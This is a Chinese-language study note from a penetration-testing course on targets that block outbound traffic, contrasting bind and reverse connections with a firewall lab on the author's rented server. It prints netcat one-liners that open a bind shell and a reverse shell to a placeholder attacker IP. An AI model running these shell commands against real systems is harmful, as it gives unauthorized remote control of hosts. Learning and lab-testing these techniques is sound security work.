附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!
3.2 不出网
-
概念
不出网常在内网中被提到,指系统/网络无法主动向外部网络发起连接。针对运维人员而言,不出网最简单的实现方式则为出站规则的配置。
那当攻击者遇到不出网的情况时该如何处理呢?
-
正向连接&反向连接
-
原理
根据不出网的定义,即目标主机无法主动向外通信。那作为攻击机主动连接目标主机建立信道,实现对目标主机的控制,这种方式是不是就可以解决不出网了呢。同时也称这种方式为正向连接。
那说到正向连接,顺带也介绍一下反向连接吧。正向连接是攻击机主动连接目标,而反向连接则是控制目标主机去主动连接攻击机。
-
实现:同样以nc为例
# 正向连接 # 攻击机 nc 靶机ip 端口号 # 靶机 nc -lvp 端口号 -e bin/bash nc -lvp 端口号 -e cmd# 反向连接 # 靶机 nc 攻击机ip 端口号 -e /bin/bash nc 攻击机ip 端口号 -e cmd # 攻击机 nc -lvp 端口号
有没有感觉反向连接的实现很熟悉呢,这不就是使用nc反弹Shell的命令。所以嘛,反弹Shell也是一种反向连接。
-
应用场景
在面对不同场景时,需分别选择正向连接或反向连接。这里举几个例子
- 当管理员对应用出站规则做了严格限制,如不出网。(正向连接)
- 当管理员对应用入站规则做了严格限制,如Web服务器仅允许用户对其22、80、443端口进行访问。
(反向连接) - 当攻击机处于内网时。(正向连接)
- 当目标主机处于内网时。(反向连接)
-
-
隧道
迪总没细讲,后续放到内网篇详细说吧。
-
实验:分别配置目标服务器出/入站规则,并通过nc进行正/反向连接。
-
配置目标服务器出站规则,通过nc尝试正向连接。
以阿里云所租Ubuntu20.04为例,首先禁止服务器所有出站流量
由于目标服务器不出网且放通了入站的21端口,因此使用攻击机尝试正向连接靶机21端口。
正向连接成功!
-
配置目标服务器的入站规则,通过nc尝试反向连接。
配置入站规则仅保留22端口,出站规则全放通。
由于目标服务器出站规则全放通,因此尝试反向连接使目标服务器主动连接攻击机
反向连接成功!
-
实验结束
-